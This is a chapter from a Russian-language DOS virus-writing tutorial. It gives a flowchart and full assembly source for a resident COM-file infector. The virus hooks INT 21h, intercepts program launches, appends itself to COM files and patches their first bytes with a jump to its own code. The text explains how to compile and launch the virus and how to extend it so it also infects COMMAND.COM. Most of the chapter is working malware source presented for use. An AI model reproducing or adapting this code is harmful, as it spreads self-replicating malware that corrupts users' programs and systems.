гл.13 СТАНДАРТНЫЙ СПОСОБ ЗАРАЖЕНИЯ СОМ-ФАЙЛОВ
(здесь-то уж Вы точно ничего нового не найдете)
============================================================================
Ну абсолютно ничего нового! Алгоритм такой же, как и в предыдущем приме-
ре, но намного проще (несколько коряво сказано). Вот блок/схема:
-----------------------¬
------------------------+ JMP to_initialization¦
¦ L-----------------------
¦
¦ _/РЕЗИДЕНТНАЯ ЧАТСТЬ\_
¦ INT 21h ---------------------------------------------¬
¦ ¦ ¦ а функция ли это N 4Bh? если нет -- ¦
¦ L----->¦ сваливаем на IRET---------------------------¬
¦ L------------------T-------------------------- ¦
¦ -------------------+-------------------------¬ ¦
¦ ¦ а СОМ- ли файл запускается? нет - уходим----->
¦ ¦ и если запускается COMMAND.COM тоже уходим----->
¦ L------------------T-------------------------- ¦
¦ -------------------+-------------------------¬ ¦
¦ ¦открыть запускаемый файл для чтения/записи ¦ ¦
¦ L------------------T-------------------------- ¦
¦ -------------------+-------------------------¬ ¦
¦ ¦прочитать первые 6 байт в свой буфер ¦ ¦
¦ L------------------T-------------------------- ¦
¦ -------------------+-------------------------¬ ¦
¦ ¦проверить, - заражен ли уже? если да - уходим--->
¦ L------------------T-------------------------- ¦
¦ -------------------+-------------------------¬ ¦
¦ ¦установка указателя на конец файла (при этом¦ ¦
¦ ¦мы получим длину файла в опред. формате (см.¦ ¦
¦ ¦выходные параметры функции LSEEK 42h) ¦ ¦
¦ L------------------T-------------------------- ¦
¦ -------------------+-------------------------¬ ¦
¦ ¦по этим данным коррекция адресов в иници- ¦ ¦
¦ ¦ализационной части ¦ ¦
¦ L------------------T-------------------------- ¦
¦ -------------------+-------------------------¬ ¦
¦ ¦запись кода вируса в конец файла ¦ ¦
¦ L------------------T-------------------------- ¦
¦ -------------------+-------------------------¬ ¦
¦ ¦установка указателя на начало файла ¦ ¦
¦ L------------------T-------------------------- ¦
¦ -------------------+-------------------------¬ ¦
¦ ¦запись в начало файла JMP far на код вируса ¦ ¦
¦ L------------------T-------------------------- ¦
¦ -------------------+-------------------------¬ ¦
¦ ¦закрыть файл ¦ ¦
¦ L------------T--------------T----------------- ¦
¦ ¦ IRET ¦<--------------------
¦ L---------------
¦
¦ ------------------------------------------¬
L----------->¦сажаем резидент в МСВ-блок (если его нет)¦
L------------------T-----------------------
-------------------+----------------------¬
¦реставрация начала файла (пересылка из бу-
¦фера сохраненного при заражении начала ¦
¦файла в его начало) и переход на него ¦
L------------------------------------------
А вот -- программа:
-----------------------------------------------------------¬
¦ пример 20 ¦:
L-----------------------------------------------------------
TITLE Это - COM. программа N20 пример стандарт. зараж-я СОМ-файлов
ASSUME CS:CodeSegment
;-------------------------------------------------------------------------
CodeSegment SEGMENT PARA
ORG(100h)
Start:
MainProcedure PROC NEAR
;
;
my_head: JMP initial
;
;
f_number: DW 0
;
; ;хранилище для адреса стандартного
saved_int21: DD 0 ; обработчика прерывания 13
; ; (2 слова)
;
int21_treater:CMP AH,4Bh
JE begin
JMP retro
begin: PUSH AX
PUSH BX
PUSH CX
PUSH DX
PUSH DS
PUSH ES
PUSH DI
PUSH SI
;---------поиск конца имени запускаемого файла---------------¬
MOV DI,DX ¦
again: INC DI ¦
CMP byte ptr DS:[DI],0 ¦
JNE again ¦
;-------------------------------------------------------------
;---------анализ расширения запускаемого файла---------------¬
CMP byte ptr DS:[DI-5],44h ;не трогать COMMAND.COM !!!¦
JE to_no_com ¦
CMP word ptr DS:[DI-2],4D4Fh ;трогать лишь .COM файлы ¦
JNE to_no_com ¦
CMP word ptr DS:[DI-4],432Eh ¦
JE allowed ;если COMMAND.COM или не ¦
to_no_com: JMP no_com ; .COM; -- уходим на IRET ¦
;-------------------------------------------------------------
allowed: ;---------открыть файл---------------------------------------¬
MOV CX,0 ;В DS:[DX] содержится имя файла¦
MOV AH,3Dh ; (параметр функции EXEC) ¦
MOV AL,2 ¦
CALL call_int21 ¦
MOV word ptr CS:[f_number - 100h],AX ¦
;-------------------------------------------------------------
;---------прочитать начало файла (6 байт) в буфер------------¬
PUSH CS ¦
POP DS ¦
MOV BX,word ptr CS:[f_number - 100h] ¦
MOV AH,3Fh ¦
MOV DX,OFFSET data_exe - 100h ;DS:[DX] - буфер ¦
MOV CX,6h ¦
CALL call_int21 ¦
;-------------------------------------------------------------
;---------проверить, есть ли в этих 6 байтах код вируса------¬
CMP word ptr CS:[data_exe - 100h + 3],500Eh ¦
JNE treat ¦
CMP byte ptr CS:[data_exe - 100h + 5],0CBh ¦
JNE treat ¦
JMP to_close ;если есть -- уходим¦
;-------------------------------------------------------------
;---------перемещаем указатель к концу файла-----------------¬
treat: XOR CX,CX ¦
XOR DX,DX ¦
MOV BX,word ptr CS:[f_number - 100h] ¦
MOV AL,2 ¦
MOV AH,42h ¦
CALL call_int21 ;В AX получаем длину файла (она ¦
CMP AX,0E000h ; заведомо < 65 Кб); Если файл ¦
JA to_close ; слишком длинен для нас - уходим¦
;-------------------------------------------------------------
;---------коррекция адресов в инициализационной части (учет--¬
; смещения вируса от начала заражаемого файла) ¦
; ¦
MOV CX,OFFSET my_head ;адрес откуда будет копи- ¦
ADD CX,AX ;роваться резидент в МСВ- ¦
MOV word ptr CS:[correct1 - 100h + 1],CX ;блок ¦
; ¦
MOV CX,OFFSET data_exe ;адрес откуда будет пере- ¦
ADD CX,AX ;сылаться сохраненное на- ¦
MOV word ptr CS:[correct2 - 100h + 1],CX ;чало файла ¦
; ¦
MOV CX,100h ;операнд блока, делающего ¦
ADD CX,AX ;JMP на вирус и им-¦
MOV word ptr CS:[where_jmp - 100h],CX ;лантирумого в файл¦
;-------------------------------------------------------------
;---------записываем код вируса в конец файла----------------¬
MOV BX,word ptr CS:[f_number - 100h] ¦
MOV DX,OFFSET my_head - 100h ¦
MOV CX,my_end - my_head ¦
MOV AH,40h ¦
CALL call_int21 ¦
;-------------------------------------------------------------
;---------перемещаем указатель к началу файла----------------¬
XOR CX,CX ¦
XOR DX,DX ¦
MOV BX,word ptr CS:[f_number - 100h] ¦
MOV AL,0 ¦
MOV AH,42h ¦
CALL call_int21 ¦
;-------------------------------------------------------------
;---------пишем в начало файла JMP far на себя---------------¬
MOV BX,word ptr CS:[f_number - 100h] ¦
MOV DX,OFFSET implant - 100h ;ES:[DX] - буфер¦
MOV CX,6 ¦
MOV AH,40h ¦
CALL call_int21 ¦
;-------------------------------------------------------------
;---------закрываем файл-------------------------------------¬
to_close: MOV BX,word ptr CS:[f_number - 100h] ¦
MOV AH,3Eh ¦
CALL call_int21 ¦
;-------------------------------------------------------------
no_com: POP SI
POP DI
POP ES
POP DS
POP DX
POP CX
POP BX
POP AX
retro: JMP dword ptr CS:[saved_int21 - 100h]
;
;
call_int21: ;-------вызов стандартного обработчика INT 21h-(процедура)---¬
PUSHF ; ¦
CALL dword ptr CS:[saved_int21-100h] ; ¦
RET ; ¦
;-------------------------------------------------------------
;
;
;
initial: ;-------проверяем наличие своей TSR - копии в памяти---------¬
MOV AX,40h ; ¦
MOV ES,AX ; ¦
CMP byte ptr ES:[134h],55h ; ¦
JE no_tsr ; ¦
MOV byte ptr ES:[134h],55h ; ¦
;-------------------------------------------------------------
;--------создаем TSR - копию---------------------------------¬
MOV AX,CS:[02] ;берем вершину свободной памяти ¦
; ; (в параграфах) ¦
; ¦
SUB AX,20h ;уменьшаем ее на 20h (в парагр.)¦
; ¦
correct1: MOV SI,OFFSET my_head ;копируем из источника DS:head ¦
MOV ES,AX ;копируем в приемник ES:00; в ES¦
XOR DI,DI ; - новая вершина своб. памяти¦
MOV CX,my_end - my_head ; ¦
CLD ; ¦
REPE MOVSB ; ¦
; ; ¦
MOV BX,DS ; ¦
DEC BX ; ¦
MOV DS,BX ;уменьшаем размер МСВ-блока ¦
SUB word ptr DS:[03h],20h ;уменьшаем вершину свободной ¦
SUB word ptr DS:[12h],20h ; памяти ¦
;-------------------------------------------------------------
;------------перехват вектора--------------------------------¬
XOR BX,BX ; сохраняем старый вектор ¦
MOV DS,BX ; 13h в переслан. копию ¦
MOV CX,DS:[21h*4+0] ; ¦
MOV word ptr ES:[saved_int21 - 100h + 0],CX ; ¦
MOV CX,DS:[21h*4+2] ; ¦
MOV word ptr ES:[saved_int21 - 100h + 2],CX ; ¦
; ¦
CLI ;кладем в таблицу векторов наш 13
MOV word ptr DS:[21h*4+0],OFFSET int21_treater - 100h ;->OFST
MOV word ptr DS:[21h*4+2],AX ;------>SEGMENT ¦
STI ; ¦
;-------------------------------------------------------------
;-------реставрируем начало файла и делаем переход на него---¬
no_tsr: PUSH CS ;восстанавливаем использованные ¦
PUSH CS ; в процессе работы регистры ¦
POP DS ; ¦ ¦
POP ES ;---- ¦
correct2: MOV SI,OFFSET data_exe ; ¦
MOV DI,100h ; ¦
MOV AX,DI ; ¦
MOV CX,6h ; ¦
CLD ; ¦
REPE MOVSB ; ¦
PUSH CS ; ¦
PUSH AX ; ¦
RETF ; ¦
;-------------------------------------------------------------
;----буфер для хранения исходного начала файла (перед запус--¬
data_exe DW 20CDh ;ком чистой культуры вируса здесь хранится ¦
DB 0 ;код INT 20h (выход в DOS) и сигнатура ви- ¦
DB 0Eh ;руса, (чтобы он не заразил сам себя) ¦
DB 50h ; ¦
DB 0CBh ; ¦
;-------------------------------------------------------------
;----буфер для хранения кода JMP far на код вируса (операнд--¬
; ;перехода устанавливается в момент заражения файла) ¦
implant: DB 0B8h ;MOV AX, ¦
where_jmp: DW 00 ; ? (смещение) ¦
DB 0Eh ;PUSH CS ¦
DB 50h ;PUSH AX ¦
DB 0CBh ;RETF ¦
my_end: ;-------------------------------------------------------------
save_arrea: ;
;
MainProcedure ENDP
;
CodeSegment ENDS
END Start
Мы решили объявить мораторий на заражение COMMAND.COM. Чисто для удоб-
ства отладки вируса. Ломает каждый раз загружаться с системной дискеты и пе-
реписывать этот файл заново. Но если захотим, -- нужно исправить лишь одну
команду...
Маленькое замечание. Может случиться так, что файл со структурой
ЕХЕ-файла имеет расширение СОМ-. В этом случае следует предусмотреть анализ
присутствия сигнатуры 'MZ' в начале файла (в вышепредставленном примере этого
нет). И если обнаружится 'MZ', -- не заражать файл.
Когда мы откомпилируем программу, то -- получим вирус в виде культуры,
готовый к запуску. Может возникнуть вопрос: зачем буфер для хранения кодов
смещенной части заражаемого файла в начале (перед самым первым запуском виру-
са) содержит какой-то определенный код? Это просто. Когда мы запускаем куль-
туру вируса, она должна посадить в МСВ резидент и вывалиться в DOS. Это выва-
ливание достигается тем, что пересылаемая в начало файла часть кода начинает-
ся с 20CDh (INT 20h) -- прерывание, обеспечивающее завершение программы и вы-
ход в DOS. Кстати, когда Вы заканчиваете свою СОМ-программу инструкцией RET,
-- предполагается, что это приведет к такому же результату. Инструкция RET
извлекает слово из стека и помещает его в IP. Перед началом выполнения прог-
раммы в вершине стека сидит 0. Т.о. если выполнится RET то управление перей-
дет на адрес CS:0000. Это -- начало PSP. А там ВСЕГДА лежит пресловутое INT
20h. Когда DOS-овский загрузчик создает PSP, он ВСЕГДА сует INT 20h в его на-
чало. Далее в буфере находится 0Eh,50h,0CBh. Это сигнатура, по которой вирус
узнает, что он уже заразил файл (эта сигнатура -- часть кода блока JMP far на
код вируса).
Оказывается, вирус может иметь полезные функции. Нонсенс! Однако это --
правда. Используя вышепредставленный пример, Вы легко можете написать вирус,
который производит вакцинацию СОМ-файлов. В момент, когда вирус заражает
файл, он считает его контрольную сумму и сохраняет ее в своем коде вместе с
длинной файла, временем его создания, исходным именем и прочими ключевыми ха-
рактеристиками. При запуске зараженного файла вирус проверяет, изменилось-ли
что-нибудь, и если да -- дает сигнал тревоги (ведь это могут быть действия
другого вируса, напавшего на файл). Данный алгоритм, за исключением бескон-
трольного размножения, ничим не отличается от действий настоящей вакцины. По-
добно вакцинации в вирус можно заложить и другие полезные функции; например:
упаковку файлов, имеющих пустОты в коде; привязку к конкретному компьютеру
(защита от копирования) и проч. Кстати -- по поводу защиты от копирования, --
не так давно возник слух, что обнаружен вирус, разыскивающий ворованные (не-
лецензионные) инсталляции популярной игры DOOM и уничтожающий ее. Маловероят-
но, что сей вирус создан фирмой ID (авторами DOOM) в целях охраны авторских
прав, но тем не менее...
ВуалЯ, как говорят французы. Конец главе.
Далее
|